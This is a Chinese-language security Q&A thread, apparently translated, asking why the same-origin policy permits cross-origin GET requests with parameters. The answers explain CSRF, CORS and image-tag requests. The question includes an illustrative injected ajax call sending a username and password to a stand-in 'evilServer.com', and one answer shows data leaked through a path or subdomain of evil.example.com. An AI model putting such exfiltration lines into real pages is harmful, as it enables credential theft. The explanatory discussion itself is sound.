为什么同源策略不阻止获取包含参数的请求?

信息安全 xss 同源策略
2021-09-04 01:11:31

据我了解,同源策略会阻止网页中的脚本与当前域之外的服务器通信(使用 post、xmlhttprequest 等)。我假设跨域的获取请求(带参数)也将被禁止。直到我开始阅读有关使用 YQL 绕过同源策略的一些限制的信息。代码示例都使用带参数的 ajax get 请求。

 $.ajax({
      type: "GET",
      url: 'http://query.yahooapis.com/v1/public/yql?q=' + encodeURIComponent(webServiceQuery),

因此,假设一些攻击者设法将一些邪恶的 javascript 注入到收集登录信息的网页中。就像是:

$.ajax({
  type: "GET",
  url: 'http://evilServer.com?username=PresidentSkroob&password=12345

接收服务器可以记录所有到达的请求。为什么允许这样做?我理解您为什么要允许无数据获取请求(例如导入 jquery),但我认为没有理由允许跨域传递查询字符串。大多数浏览器允许这样做有正当理由吗?

3个回答

我看不到允许跨域传递查询字符串的理由。大多数浏览器允许这样做有正当理由吗?

查询字符串没有什么特别之处。您也可以在路径部分中泄露信息,evil.example.com/PresidentSkroob/12345......甚至是域名。例如,想象将地址设置为PresidentSkroob.12345.evil.example.com如果您运行 DNS,evil.example.com您可以轻松记录查找。

根据 XMLHttpRequest 级别 2,浏览器允许在没有预检的情况下发送跨域 GET,但不允许从响应中读取结果,除非远程域选择加入。这里没有其他漏洞,因为您已经可以导致通过多个更基本的接口获取要发送的任意 URL(包括查询字符串,就其价值而言)。

例如,您总是能够创建一个<img>元素并将其src设置为远程域上的地址;取消这种跨域能力会破坏很多现有的网络。

同源策略可防止脚本从脚本并非源自的位置读取内容。 CSRF 攻击依赖于您可以将请求传输到另一个域的事实,并且读取响应并不重要。许多CSRF 预防技术利用了攻击者在发出请求之前无法读取页面的事实当您加载网页时,会触发对许多域的许多请求以加载图像、css 甚至 javascript 等内容。阻止对另一个域的请求会破坏重要的功能。

XSS 允许攻击者执行源自目标网站的任意 JavaScript。samy 蠕虫利用 XSS 的这个属性来读取 CSRF 令牌并伪造请求

随着“HTML 5”和 CORS 的出现,您可以使用 xhr 构建任意请求并使用它来利用 CSRF 漏洞XHR 将触发请求,但是如果 CORS HTTP 响应标头不存在,则 XHR 将无法读取响应...但是,为了让浏览器查看这些 HTTP 响应标头是否存在,它必须首先使请求。这种行为对于构建 CSRF 漏洞非常有用,例如通常不可能的跨站点文件上传攻击。

这都是支持跨域 ajax 请求的一部分。您可以执行 GET,但 x-access-control-* 标头确定客户端是否可以读取响应。

如果这是不可能的,攻击者仍然可以通过使用 Get 作为方法提交表单,或者使用指向相同 GET url 的 src 属性设置 iframes/script/img 标签来实现相同的目的。因此,除非使用 x-access-control-* 标头,否则这并不会真正改变有关 SOP 的任何内容。